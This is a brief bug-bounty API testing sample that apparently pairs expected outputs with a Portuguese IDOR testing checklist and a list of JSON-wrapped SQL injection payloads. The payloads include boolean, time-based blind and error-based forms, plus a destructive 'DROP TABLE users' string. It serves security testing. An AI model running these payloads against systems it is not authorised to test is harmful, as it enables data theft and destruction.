api-fuzzing-bug-bounty

Résultat attendu:

Guia de Teste IDOR:

1. Primeiro, acesse sua própria fatura para estabelecer linha de base
2. Tente incrementar o ID: /api/v1/invoices/12345 → /api/v1/invoices/12346
3. Teste técnicas de bypass:
- Envolva o ID em array: {"id":[12345]}
- Wrapper JSON: {"id":{"id":12345}}
- Poluição de parâmetro: ?invoice_id=12345&invoice_id=12346
4. Teste diferentes contextos de usuário se tiver múltiplas contas
5. Verifique IDOR horizontal e vertical (acesso a diferentes privilégios)

Résultat attendu:

Payloads de SQL Injection em JSON:

Testes básicos:
- {"id":"1' OR '1'='1"}
- {"id":"1; DROP TABLE users--"}

Baseado em booleano:
- {"id":"1 AND 1=1"}
- {"id":"1 AND 1=2"}

Baseado em tempo (blind):
- {"id":"1 AND sleep(5)--"}
- {"id":"1'; WAITFOR DELAY '0:0:5'--"}

Baseado em erro:
- {"id":"1' AND extractvalue(1,concat(0x7e,version()))--"}